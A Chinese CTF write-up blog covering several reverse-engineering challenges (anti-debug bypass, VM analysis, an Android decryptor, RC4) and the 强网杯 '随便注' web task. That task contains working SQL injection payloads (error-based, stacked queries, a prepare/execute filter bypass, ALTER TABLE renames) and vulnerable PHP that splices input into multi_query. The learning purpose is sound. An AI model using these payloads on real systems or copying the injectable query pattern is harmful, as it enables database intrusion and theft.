a = [0x5C,0xBC,0xEA,0x89,0xBA,0x2B,0x18,0x27,0x79,0x3F,0x13,0x0A,0x8A,0x97,0xB4,0x9B,0xCD,0x78,0x9B,0xD8,0x35,0x92,0x05,0x45,0x4C,0x22,0xA5,0x69,0x37,0xEB,0x6E,0x2B,0x0E,0xBD,0x84,0x0F,0x91,0x61,0x38,0xF6,0xF1,0xBA,0x99,0x19,0x41,0x72,0x07,0x91,0xF0,0x26,0x68,0x06,0x61,0x26,0x5C,0x20,0x35,0xDD,0xCF,0xFC,0x77,0x57,0x54,0x81,0xF2,0xF2,0xE4,0xAF,0xBF,0xA2,0x1D,0x29,0xAE,0x6C,0x08,0x3B,0x76,0x1B,0x66,0xB8,0xFE,0x72,0xCB,0xD6,0x94,0xC3,0xD5,0x6A,0xE7,0x0C,0x7A,0x28,0xDC,0xBC,0xAC,0x80]

key = b'30776159143604297789676442413079'
aes = AES.new(key,mode=AES.MODE_ECB)
r = aes.decrypt(bytes(a))
print(str(r,encoding='utf-16'))

[rev][V&N2020 公开赛]h01k_re

找到了这篇文章https://www.gironsec.com/blog/2013/12/other-antidebug-tricks/
https://www.sohu.com/a/249321179_354899
CsrGetProcessId is a native API that returns the PID of csrss.exe
这个函数返回csrss.exe的PID

大概是一种反调试技术,程序尝试获取csrss.exe的pid,然后openProcess。由于大多数调制器需要管理越权限,所以如果当前进程成功打开csrss.exe,就可以判断为被调试。

CheckRemoteDebuggerPresent

NtQueryInformationProcess第三个参数,如果有调试器,就会返回-1

好家伙一整个反调试函数,我直接给你nop掉

__rdtsc返回时间辍

经过调试发现程序把自己载入内存,然后查找getflag函数,似乎作了一些变换,但是不去管,我tm直接将对应的区段保存为文件,然后是个可执行文件,IDA打开

  1. v3的信息:

    • 0是个计数器
    • 14是v7,v7+8是输入长度,v7+20为off input-off v4
    • 1是800
    • 12是和800有关的数
    • 13是off v4
  2. 看答案了,确实是虚拟机,可以在输入下硬件断点,发现是一组异或

  3. 对于输入下硬件断点,并且输入经过处理后存入的目标内存也下硬件断点,就可以调试出程序的主逻辑

后续分析

  1. 以上分析到了vm,进入到vm,首先是个大循环,下面有个函数调用,参数是10006890,调试获得这个地方真实的数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    10096890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    100968A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    100968B0 01 00 00 00 00 00 00 00 80 97 00 10 00 00 00 00 ................
    100968C0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    100968D0 02 00 00 00 00 00 00 00 C0 97 00 10 00 00 00 00 ........À.......
    100968E0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    100968F0 03 00 00 00 00 00 00 00 A0 95 00 10 00 00 00 00 ........ .......
    10096900 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096910 04 00 00 00 00 00 00 00 F0 95 00 10 00 00 00 00 ........ð.......
    10096920 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096930 05 00 00 00 00 00 00 00 30 97 00 10 00 00 00 00 ........0.......
    10096940 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096950 06 00 00 00 20 00 9D 00 E0 96 00 10 00 00 00 00 .... ...à.......
    10096960 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096970 07 00 00 00 FF FF FF FF 40 96 00 10 00 00 00 00 ....ÿÿÿÿ@.......
    10096980 00 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 ................
    10096990 08 00 00 00 00 00 00 00 90 96 00 10 00 00 00 00 ................
    100969A0 00 00 00 00 00 00 00 00 02 00 00 00 AC 06 02 77 ............¬..w
    100969B0 09 00 00 00 00 00 00 00 80 75 00 10 00 00 00 00 .........u......
    100969C0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    100969D0 0A 00 00 00 00 00 00 00 D0 75 00 10 00 00 00 00 ........Ðu......
    100969E0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    100969F0 0B 00 00 00 70 F7 36 00 20 A0 00 10 00 00 00 00 ....p÷6.  ......
    10096A00 00 00 00 00 00 00 00 00 02 00 00 00 34 B2 00 10 ............4²..
    10096A10 0C 00 00 00 A0 07 00 00 70 A0 00 10 00 00 00 00 .... ...p ......
    10096A20 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096A30 0D 00 00 00 00 00 00 00 30 98 00 10 00 00 00 00 ........0.......
    10096A40 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096A50 0E 00 00 00 00 E0 FD 7E 80 98 00 10 00 00 00 00 .....àý~........
    10096A60 00 00 00 00 00 00 00 00 02 00 00 00 18 00 00 00 ................
    10096A70 0F 00 00 00 66 34 03 77 10 80 00 10 00 00 00 00 ....f4.w........
    10096A80 00 00 00 00 00 00 00 00 02 00 00 00 48 B5 79 00 ............Hµy.
    10096A90 10 00 00 00 00 00 79 00 70 80 00 10 00 00 00 00 ......y.p.......
    10096AA0 00 00 00 00 00 00 00 00 02 00 00 00 0C 2A 08 01 .............*..
    10096AB0 11 00 00 00 FF FF FF FF 40 99 00 10 00 00 00 00 ....ÿÿÿÿ@.......
    10096AC0 00 00 00 00 00 00 00 00 02 00 00 00 4C 17 00 00 ............L...
    10096AD0 12 00 00 00 99 5A 00 00 90 99 00 10 00 00 00 00 .....Z..........
    10096AE0 00 00 00 00 00 00 00 00 02 00 00 00 33 00 00 00 ............3...
    10096AF0 13 00 00 00 00 00 00 00 20 AB 00 10 00 00 00 00 ........ «......
    10096B00 00 00 00 00 00 00 00 00 02 00 00 00 C0 00 00 00 ............À...
    10096B10 14 00 00 00 B9 AC 08 77 70 AB 00 10 00 00 00 00 ....¹¬.wp«......
    10096B20 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096B30 15 00 00 00 02 1E 7A 00 70 76 00 10 00 00 00 00 ......z.pv......
    10096B40 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096B50 16 00 00 00 A0 07 00 00 C0 76 00 10 00 00 00 00 .... ...Àv......
    10096B60 00 00 00 00 00 00 00 00 02 00 00 00 D7 EE 02 77 ............×î.w
    10096B70 17 00 00 00 00 00 79 01 00 99 00 10 00 00 00 00 ......y.........
    10096B80 00 00 00 00 00 00 00 00 01 00 00 00 FE FF FF FF ............þÿÿÿ
    10096B90 18 00 00 00 06 14 0D 77 E0 9D 00 10 00 00 00 00 .......wà.......
    10096BA0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
    10096BB0 19 00 00 00 04 00 00 00 30 9E 00 10 00 00 00 00 ........0.......
    10096BC0 00 00 00 00 00 00 00 00 02 00 00 00 22 14 0D 77 ............"..w
    10096BD0 1A 00 00 00 00 00 00 00 90 9E 00 10 00 00 00 00 ................
    10096BE0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 79 00 ..............y.
    10096BF0 1B 00 00 00 20 00 00 00 E0 9E 00 10 00 00 00 00 .... ...à.......
    10096C00 00 00 00 00 00 00 00 00 02 00 00 00 3D 30 03 77 ............=0.w
    10096C10 1C 00 00 00 A4 F5 36 00 C0 7E 00 10 00 00 00 00 ....¤õ6.À~......
    10096C20 00 00 00 00 00 00 00 00 02 00 00 00 B0 1D 7A 00 ............°.z.
    10096C30 1D 00 00 00 CD 4D 07 77 80 9A 00 10 00 00 00 00 ....ÍM.w........
    10096C40 00 00 00 00 00 00 00 00 01 00 00 00 00 10 50 00 ..............P.
    10096C50 1E 00 00 00 03 00 0A 00 C0 9A 00 10 00 00 00 00 ........À.......
    10096C60 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
    10096C70 1F 00 00 00 00 00 79 00 E0 99 00 10 00 00 00 00 ......y.à.......
    10096C80 00 00 00 00 00 00 00 00 01 00 00 00 E8 1F 7A 00 ............è.z.
    10096C90 20 00 00 00 A8 F4 36 00 F0 7A 00 10 00 00 00 00 ...¨ô6.ðz......
    10096CA0 00 00 00 00 00 00 00 00 01 00 00 00 2C 1B 0D 77 ............,..w
    10096CB0 21 00 00 00 2C 1B 0D 77 50 7B 00 10 00 00 00 00 !...,..wP{......
    10096CC0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
    10096CD0 22 00 00 00 00 00 50 00 B0 7B 00 10 00 00 00 00 ".....P.°{......
    10096CE0 00 00 00 00 00 00 00 00 01 00 00 00 E0 1F 7A 00 ............à.z.
    10096CF0 23 00 00 00 E0 1F 7A 00 10 7C 00 10 00 00 00 00 #...à.z..|......
    10096D00 00 00 00 00 00 00 00 00 01 00 00 00 48 1B 0D 77 ............H..w
    10096D10 24 00 00 00 AC 49 06 77 70 9D 00 10 00 00 00 00 $...¬I.wp.......
    10096D20 00 00 00 00 00 00 00 00 00 00 00 00 66 34 03 77 ............f4.w
    10096D30 25 00 00 00 54 F4 36 00 F0 92 00 10 00 00 00 00 %...Tô6.ð.......
    10096D40 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
    10096D50 26 00 00 00 B0 1D 7A 00 20 93 00 10 00 00 00 00 &...°.z. .......
    10096D60 00 00 00 00 00 00 00 00 01 00 00 00 7F 00 00 00 ................
    10096D70 27 00 00 00 A6 06 00 00 90 7D 00 10 00 00 00 00 '...¦....}......
    10096D80 00 00 00 00 00 00 00 00 02 00 00 00 F8 03 00 00 ............ø...
    10096D90 28 00 00 00 50 01 79 00 20 7E 00 10 00 00 00 00 (...P.y. ~......
    10096DA0 00 00 00 00 00 00 00 00 02 00 00 00 E2 1F 7A 00 ............â.z.
    10096DB0 29 00 00 00 00 00 00 00 70 92 00 10 00 00 00 00 ).......p.......
    10096DC0 00 00 00 00 00 00 00 00 01 00 00 00 8C F4 36 00 .............ô6.
    10096DD0 2A 00 00 00 94 AA 08 77 B0 92 00 10 00 00 00 00 *....ª.w°.......
    10096DE0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 79 00 ..............y.
    10096DF0 2B 00 00 00 B0 1D 7A 00 60 93 00 10 00 00 00 00 +...°.z.`.......
    10096E00 00 00 00 00 00 00 00 00 01 00 00 00 74 F4 36 00 ............tô6.
    10096E10 2C 00 00 00 36 A4 08 77 A0 93 00 10 00 00 00 00 ,...6¤.w .......
    10096E20 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
    10096E30 2D 00 00 00 00 02 04 06 30 90 00 10 00 00 00 00 -.......0.......
    10096E40 00 00 00 00 00 00 00 00 01 00 00 00 30 09 00 00 ............0...
    10096E50 2E 00 00 00 00 00 00 00 70 90 00 10 00 00 00 00 ........p.......
    10096E60 00 00 00 00 00 00 00 00 01 00 00 00 F0 0F 00 00 ............ð...
    10096E70 2F 00 00 00 ED 33 03 77 C0 90 00 10 00 00 00 00 /...í3.wÀ.......
    10096E80 00 00 00 00 00 00 00 00 01 00 00 00 70 10 3C 76 ............p.<v
    10096E90 30 00 00 00 00 00 79 00 00 91 00 10 00 00 00 00 0.....y.........
    10096EA0 00 00 00 00 00 00 00 00 01 00 00 00 7F 00 00 00 ................
    10096EB0 31 00 00 00 30 09 00 00 50 91 00 10 00 00 00 00 1...0...P.......
    10096EC0 00 00 00 00 00 00 00 00 01 00 00 00 D8 00 00 00 ............Ø...
    10096ED0 32 00 00 00 F0 0F 00 00 90 91 00 10 00 00 00 00 2...ð...........
    10096EE0 00 00 00 00 00 00 00 00 01 00 00 00 55 A5 08 77 ............U¥.w
    10096EF0 33 00 00 00 88 F2 36 00 E0 91 00 10 00 00 00 00 3....ò6.à.......
    10096F00 00 00 00 00 00 00 00 00 01 00 00 00 CA DA 07 77 ............ÊÚ.w
    10096F10 34 00 00 00 00 00 00 00 20 92 00 10 00 00 00 00 4....... .......
    10096F20 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
  2. 可以看到,前面是一个数字,后面是一系列的地址

  3. vm函数地址为10005960,IDA中的地址为10006560,可以得到基址-c00

  4. 继续调试发现,后面调用的函数就是对应位置的函数

  5. 调试发现1007f15c不做任何事直接返回

  6. 使用脚本处理上面dump出的数据,得到地址。另外opcode和vm_eip都可以分析出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
from Crypto.Cipher import AES,DES,PKCS1_v1_5
from Crypto.PublicKey import RSA
import hashlib

# add = []
# with open('1.txt','r') as f:
# lines = f.readlines()
# for i in range(0,len(lines),2):
# l = lines[i][:-1]
# f = l[0:2][::-1]+l[2:4][::-1]+l[4:6][::-1]+l[6:8][::-1]
# f = f[::-1]
# f = int(f,16)
# print(hex(f))
# add.append(f+0xc00)
# print(add)
add = [0,268477312, 268477376, 268476832, 268476912, 268477232, 268477152, 268476992, 268477072, 268468608, 268468688, 268479520, 268479600, 268477488, 268477568, 268471312, 268471408, 268477760, 268477840, 268482336, 268482416, 268468848, 268468928, 268477696, 268478944, 268479024, 268479120, 268479200, 268470976, 268478080, 268478144, 268477920, 268470000, 268470096, 268470192, 268470288, 268478832, 268476144, 268476192, 268470672, 268470816, 268476016, 268476080, 268476256, 268476320, 268475440, 268475504, 268475584, 268475648, 268475728, 268475792, 268475872, 268475936]

opc = [1,0,'strlen(input)',1,1,'v0 - self((int)v4)',1,7,0,39,0,3,47,1,54,1,3,0,37,8,9,3,1,40,3,0,47,20,8,4,1,19,4,51,9,4,2,4,6,4,9,6,1,9,1,1,37,-28,1,6,0,1,7,30,1,3,0,37,8,9,3,1,40,3,0,47,20,5,4,6,5,5,7,20,4,5,4,6,4,9,6,1,9,7,1,37,-28,1,1,'self((int)v4)',1,2,'self((int)v118)',1,0,64,28,1,2,41,1,54,34,'self(0x1000A880)',1,1,50,3,1,11,54]
eip = 0
print(len(opc))
while eip<len(opc):
ins = opc[eip]
print('%02x:%02x:'%(eip,ins),end="")
print('%X:'%(add[ins]),end="")
if ins==0:
print('nop')
elif ins==1:
print('mov to tmp')
elif ins==2:
print('add')
elif ins==3:
print('unknown4,maybe move')
elif ins==4:
print('maybe move')
elif ins==5:
print('move')
elif ins==6:
print('move v4')
elif ins==7:
print('add maybe')
elif ins==0x14:
print('xor')
elif ins==0x1c:
print('cmp')
elif ins==0x22:
print('real_unknown')
elif ins==0x25:
print('unknown3,maybe move')
elif ins==0x27:
print('unknown1')
elif ins==0x29:
print('jump')
elif ins==0x2f:
print('unknown2,maybe jump')
elif ins==0x33:
print('maybe jump')
eip+=3

具体功能需要详细分析vm的结构

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import base64
import hashlib
from z3 import *
from math import *
v118 = [0 for i in range(16)]
v118[0] = 81;
v118[1] = 95;
v118[2] = 114;
v118[3] = 105;
v118[4] = 106;
v118[5] = 50;
v118[6] = 137;
v118[7] = 121;
v118[8] = 43;
v118[9] = 82;
v118[10] = 82;
v118[11] = 86;
v118[12] = 74;
v118[13] = 77;
v118[14] = 96;
v118[15] = 18;
v4 = [0 for i in range(16)]
v4[0] = 54;
v4[1] = 72;
v4[2] = 13;
v4[3] = 35;
v4[4] = 12;
v4[5] = 37;
v4[6] = 9;
v4[7] = 23;
v4[8] = 83;
v4[9] = 6;
v4[10] = 16;
v4[11] = 26;
v4[12] = 36;
v4[13] = 46;
v4[14] = 56;
v4[15] = 66;

f = [(v118[i]^v4[i])-2^0x33 for i in range(16)]

print(bytes(f))

V&N{W&M_Easy_Re}

[rev][FlareOn6]FlareBear

  1. FlarebeerActivity

  2. clean看到danceWithFlag可以获取flag,需要的条件为isHappy&&isEcstatic,继续分析条件

  3. getState使用PreferenceManager.getDefaultSharedPreferences获取配置,并且下面有setState

  4. isHappy: getStat(‘f’)/getStat(‘p’)>2.0&&<2.5
    来自于getPreference(‘activity’,’’)

  5. isEcstatic: getState(‘mass’,0)==72&&getState(‘happy’,0)==30&&getState(‘clean’,0)==0
    来自于getPreference(argString,argInt)

  6. decrypt函数:pawsitive_vibes!是初始向量,key是NaClNaClNaCl,key填充方式是PBKDF2WithHmacSHA1

  7. getPassword:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    String str1;
    int i = getStat('f');
    int j = getStat('p');
    int k = getStat('c');
    String str2 = "*";
    switch (i % 9) {
    default:
    str1 = "";
    break;
    case 8:
    str1 = "*";
    break;
    case 7:
    str1 = "&";
    break;
    case 6:
    str1 = "@";
    break;
    case 5:
    str1 = "#";
    break;
    case 4:
    str1 = "!";
    break;
    case 3:
    str1 = "+";
    break;
    case 2:
    str1 = "$";
    break;
    case 1:
    str1 = "-";
    break;
    case 0:
    str1 = "_";
    break;
    }
    switch (k % 7) {
    default:
    str2 = "";
    break;
    case 6:
    str2 = "@";
    break;
    case 4:
    str2 = "&";
    break;
    case 3:
    str2 = "#";
    break;
    case 2:
    str2 = "+";
    break;
    case 1:
    str2 = "_";
    break;
    case 0:
    str2 = "$";
    break;
    case 5:
    break;
    }
    String str3 = StringsKt.repeat("flare", i / k);
    String str4 = StringsKt.repeat(rotN("bear", i * j), j * 2);
    String str5 = StringsKt.repeat("yeah", k);
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append(str3);
    stringBuilder.append(str1);
    stringBuilder.append(str4);
    stringBuilder.append(str2);
    stringBuilder.append(str5);
    return stringBuilder.toString();

    i/j>2.0<2.5,j=1,i=2,j=2,i=4,j=4,i=8,j=2,i=5
    flare重复i/k次+str1+

  8. 解密资源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.ArrayList;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

public class Main {

static String getPassword(int i,int j,int k) {
String str1;
String str2 = "*";
switch (i % 9) {
default:
str1 = "";
break;
case 8:
str1 = "*";
break;
case 7:
str1 = "&";
break;
case 6:
str1 = "@";
break;
case 5:
str1 = "#";
break;
case 4:
str1 = "!";
break;
case 3:
str1 = "+";
break;
case 2:
str1 = "$";
break;
case 1:
str1 = "-";
break;
case 0:
str1 = "_";
break;
}
switch (k % 7) {
default:
str2 = "";
break;
case 6:
str2 = "@";
break;
case 4:
str2 = "&";
break;
case 3:
str2 = "#";
break;
case 2:
str2 = "+";
break;
case 1:
str2 = "_";
break;
case 0:
str2 = "$";
break;
case 5:
break;
}
String str3 = repeatString("flare", i / k);
String str4 = repeatString(rotN("bear", i * j), j * 2);
String str5 = repeatString("yeah", k);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(str3);
stringBuilder.append(str1);
stringBuilder.append(str4);
stringBuilder.append(str2);
stringBuilder.append(str5);
return stringBuilder.toString();
}
static String rotN(String string, int n) {
ArrayList<Character> arrayList = new ArrayList<>(string.length());
int i;
for (i = 0; i < string.length(); i++) {
char c1 = string.charAt(i);
char c = c1;
if (Character.isLowerCase(c1)) {
c1 = (char)(c1 + n);
c = c1;
if (c1 > 'z')
c = (char)(c1 - n * 2);
}
arrayList.add(Character.valueOf(c));
}
char array[] = new char[arrayList.size()];
i=0;
for(char c:arrayList) {
array[i++]=c;
}
return new String(array);
}
static String repeatString(String string, int i) {
StringBuilder sb = new StringBuilder();
for(int j=0;j<i;j++) {
sb.append(string);
}
return sb.toString();
}
static byte[] decrypt(String key,byte[] data) throws Exception{
Charset charset1 = Charset.forName("UTF-8");
byte[] arrayOfByte2 = "pawsitive_vibes!".getBytes(charset1);
IvParameterSpec ivParameterSpec = new IvParameterSpec(arrayOfByte2);
char[] arrayOfChar = key.toCharArray();
Charset charset2 = Charset.forName("UTF-8");
byte[] arrayOfByte3 = "NaClNaClNaCl".getBytes(charset2);
PBEKeySpec pBEKeySpec = new PBEKeySpec(arrayOfChar, arrayOfByte3, 1234, 256);
SecretKey secretKey = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(pBEKeySpec);
secretKey = new SecretKeySpec(secretKey.getEncoded(), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, secretKey, ivParameterSpec);
byte[] arrayOfByte1 = cipher.doFinal(data);
return arrayOfByte1;
}
public static void main(String[] args) throws Exception {
int ia[] = new int[] {2,4,6,8,5};
int ja[] = new int[] {1,2,3,4,2};
FileInputStream fis = new FileInputStream("ecstatic");
byte[] ecs1 =new byte[fis.available()];
fis.read(ecs1);
fis.close();
fis = new FileInputStream("ecstatic2");
byte[] ecs2 =new byte[fis.available()];
fis.read(ecs2);
fis.close();
FileOutputStream fos;
byte[] tmp1 = new byte[ecs1.length];
byte[] tmp2 = new byte[ecs2.length];
for(int cnt=0;cnt<ia.length;cnt++) {
for(int k=1;k<7;k++) {
String key = getPassword(ia[cnt],ja[cnt],k);
System.out.println(key);
try {
tmp1 = decrypt(key,ecs1);
tmp2 = decrypt(key,ecs2);
}catch(Exception e) {
System.out.println("Decryption Failed");
continue;
}
fos = new FileOutputStream("dec/"+ia[cnt]+""+ja[cnt]+""+k+"_1.bmp");
fos.write(tmp1);
fos.close();
fos = new FileOutputStream("dec/"+ia[cnt]+""+ja[cnt]+""+k+"_2.bmp");
fos.write(tmp2);
fos.close();
System.out.println("[*] Decryption Success");
}
}

}
}

最后得到两张图片,分别是带flag图像的两帧

[web][强网杯 2019]随便注

今天时间不太够,先做一道web充数,改天补上

SQL注入问题,首先尝试是否存在注入

1
2
1' and 1=1 #
1' and 1=2 #

第二行没有输出,说明存在注入

尝试获取列数

1
2
3
1' order by 1 #
1' order by 2 #
1' order by 3 #

最后一个报错,说明只有两列

尝试获取数据库名

1
1' union select 1,database() #

发现有过滤

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试报错注入

1
2
3
4
5
6
用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e))); #
数据库
1' and (extractvalue(1,concat(0x7e,database(),0x7e))); #
版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e))); #

extractvalue(),updatexml()都是报错注入常用函数

名称 描述
extractvalue() 使用XPath表示法从xml字符串中提取值
updatexml 返回替换的xml片段
  1. extractvalue函数
    extractvalue(xml_flag,xpath_expr)
    extractvalue(‘‘,’/a/b’)
    就是寻找当前文档下a节点下的b节点,如果书写错误,就会报错,从而提供一些信息
    select extractvalue(‘<a\><b/>‘,concat(‘~’,(database())));
  2. updatexml函数
    updatexml(xml_target,xpath_expr,new_xml)
    当xpath语法错误时,就会报错,含有错误信息
    updatexml(‘test’,concat(‘~’,(database())),’test’)

使用堆叠注入绕过过滤,堆叠注入即一次执行多个命令

1
-1'; show tables #

多个命令使用分号隔开,这里第一个语句成功的话会增加很多输出,所以可以让前一个语句失败

查看表的字段

1
2
3
4
5
-1';desc `1919810931114514` #
-1';desc `words` #
也可以如下
-1';show columns from `1919810931114514`#
-1';show columns from `words` #

表名加反引号

sql中desc用于查看表的详细信息
desc也是asc的反义词,排列时候有用

接下来要读取字段内的数据,应该执行的语句如下

1
select * from `1919810931114514`;

由于select过滤,所以需要采用预编译机制

1
2
3
4
set用于设置变量名和值
prepare预备一个语句,赋予名称,引用该语句
execute执行语句
deallocate prepare释放预处理的语句

payload

1
-1';set @sql=concat('se','lect*from `1919810931114514`;');prepare stmt from @sql;execute stmt; #

set @sql设置了名为sql的变量值为后面的语句拼合,然后prepare预备语句,执行语句

结果又是过滤

1
strstr($inject, "set") && strstr($inject, "prepare")

但是不区分大小写,转化为大写

1
-1';SET @sql=concat('se','lect*from `1919810931114514`;');PREPARE stmt from @sql;execute stmt; #

得到flag

还可以修改表名和列名从而得到flag

1
2
3
4
修改表名
alter table `1919810931114514` rename to words
修改列名
alter table words change flag data varchar(30);

payload

1
-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后1’ or 1=1#

= =这种方法有风险,万一不能一气呵成就挂了

每次启动靶机flag不同= =

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html>

<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>

</body>

</html>

大佬说这里执行多条sql语句会导致安全问题

这里应该就是堆叠注入的源头了

参考资料

[1] https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

[2] 2019强网杯”随便注”学习 - saucerman的文章 - 知乎
https://zhuanlan.zhihu.com/p/78989602

[rev][2019红帽杯]calc

  1. IDA打开,C++,看到输入函数,但是下面太乱,推测有自定义的结构体
  2. 在cin那里下断点,读入的结构体很奇怪,进入读入结构体的函数,发现了真正的cin函数,其参数应该是一个st::string结构,长度小于16采用栈存储,大于16采用堆存储,这不重要
  3. 下面就可以分析出自定义的结构体
1
2
3
4
5
struct InputStru{
int* start; // 存储数据的起始地址
int* end; // 当前存储的最后一个元素
int* maxEnd; //最大容量
};
  1. 专用函数分析
  2. 140001700 moveInputStru arg2->arg1
  3. 1400017E0 subAbsInputStru 两数相减的绝对值
  4. 140001A90 相乘,a1=a2*a3
  5. 140003CE0 mallocMultiLen 乘法时分配空间用的
  6. 140001FF0 看起来像乘方调试出来也是乘方 a1=a2**a3
  7. 140001550 相加 a1=a2+a3
  8. 看答案是三个数的立方和等于42
  9. 最终的表达式分为两部分

$$
a=(x+y)^3-3x^2y-3xy^2\
b=(z+4)^3-48z-12z^2\
最后判断a==b
$$

[rev][GKCTF2020]DbgIsFun

调试后发现真正的比较函数,是rc4解密,但是解密之后发现不对

盲猜开头是flag,所以测试前4个字符和flag串的关系,发现是-128然后异或73,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}

void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数
{
int i =0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for (i=0;i<256;i++) {
s[i] = i;
k[i] = key[i%Len];
}
